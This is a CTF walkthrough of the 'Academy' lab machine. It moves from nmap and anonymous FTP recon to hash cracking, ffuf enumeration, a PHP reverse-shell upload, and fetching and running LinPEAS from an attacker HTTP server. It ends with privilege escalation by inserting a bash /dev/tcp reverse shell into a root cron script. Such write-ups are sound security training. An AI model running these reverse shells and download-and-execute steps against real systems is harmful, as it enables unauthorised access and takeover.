ACADAMY WALKTHROUGH

by Sanketh S

Motive: To Capture user and root flags by Exploiting and indentifying vulnerabilities.

“Academy” is a Hack The Box machine rated Medium. It involves classic recon, FTP misuse, web directory brute-forcing, and privilege escalation via script abuse.

1. Reconnaissance

Tools Used: netdiscover, nmap, crackstation

🔹Target Discovery

sudo netdiscover -i eth0

• Identified the target IP on the local network.

🔹Port Scan

nmap 192.168.1.6

• Found open ports: 21 (FTP), 22 (SSH), and 80 (HTTP).

Press enter or click to view image in full size

🔹FTP Scan

nmap -p21 -sC 192.168.1.6

• FTP allows anonymous login.

Press enter or click to view image in full size

🔹FTP Access

ftp 192.168.1.6

• Logged in without a password.

• Found and downloaded note.txt.

Press enter or click to view image in full size

• Downloaded using get

Inside: note.txt

Press enter or click to view image in full size

Crackstation: To crack the hashed password

Press enter or click to view image in full size

Press enter or click to view image in full size

Student ID: 10201321

Password: cd73502828457d15655bbd7a63fb0bc8 == student

2. Enumeration

Tools Used: FFUF

• HTTP port reveals a web server, which is the default

Press enter or click to view image in full size

Press enter or click to view image in full size

• Used FFUF to find directories:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.1.6/FUZZ

• Found: /academy, /phpmyadmin
• /academy → Login page
• Used credentials from the note.txt to log in as a student

Press enter or click to view image in full size

Get Sanketh S’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Press enter or click to view image in full size

• After successfully logging in, we can find student registration form in my profile

Press enter or click to view image in full size

• There is an upload section that may be vulnerable to uploading malicious code for a reverse shell, so we use it to upload our payload.

3. Exploitation

Tools Used: Hack-tool, Netcat, LinPEAS

🔹Step 1: PHP Reverse Shell using hat-cat

• To gain an initial foothold, I used a PHP reverse shell from Pentestmonkey. This script establishes an outbound TCP connection to a specified IP address and port, enabling the attacker to obtain an interactive shell session on the target machine.
• Listener on host: Before uploading the file use netcat to listen in the host machine

nc -nvlp 1234

Press enter or click to view image in full size

🔹 Step 2: Privilege Escalation Prep

We don’t have any privilege at the moment, So we will do privilege escalation with the help of LinPeas. Firstly, we have to download linpeas.sh on attacker machine and have to start the http server to download it into the target machine

• Started a Python HTTP server:

python3 -m http.server 80

• Downloaded LinPEAS to target via:

wget http://<kali_ip>/lin.sh
cd /tmp && bash lin.sh

This will run LinPEAS on the target machine

• Observation: In the snapshot below, we can see that the user grimmie is an administrator and owns a file named backup.sh (OB1).

Press enter or click to view image in full size

Press enter or click to view image in full size

• Observation: In the snapshot below, we can see that grimmie’s password is exposed as My_V3ryS3cur3_P4ss (OB2).

Press enter or click to view image in full size

Press enter or click to view image in full size

Password cracked:

Username: grimmie
Password: My_V3ryS3cur3_P4ss

4. Privilege Escalation

Tools Used: pentestmonkey

• SSH as grimmie:

ssh grimmie@192.168.1.6

Since SSH was open, we could connect to the target using the above command. After entering the previously discovered password, we gained access as the user grimmie, who has administrative privileges.

Once logged in, listing the directory contents (ls) reveals a file named backup.sh. To capture the root flag, we need to escalate our privileges to root by leveraging this script.

bash -i >& /dev/tcp/<attacker_ip>/8080 0>&1

This command establishes a reverse shell from the target machine to my attack machine. Here’s how it works:

• bash -i: Launches Bash in interactive mode, allowing command input and output.
• &>: Redirects both standard output (stdout) and standard error (stderr).
• /dev/tcp/<attacker_ip>/8080: This is a special Bash feature that opens a TCP connection to the attacker’s IP on port 8080.
• 0>&1: Redirects standard input (stdin) to the same TCP connection, completing the two-way communication.
• Started listener:

nc -nvlp 8080

• Waited for script to execute → Got root shell!

5. Flag Captured

Press enter or click to view image in full size

6. Conclusion

This box demonstrated:

• Recon using netdiscover and nmap
• Weak FTP configuration exploitation
• Web enumeration with FFUF
• Shell access via file upload
• Privilege escalation by abusing root-owned cron scripts

Academy Walkthrough

Ctf

Hacking

Privilege Escalation

Cybersecurity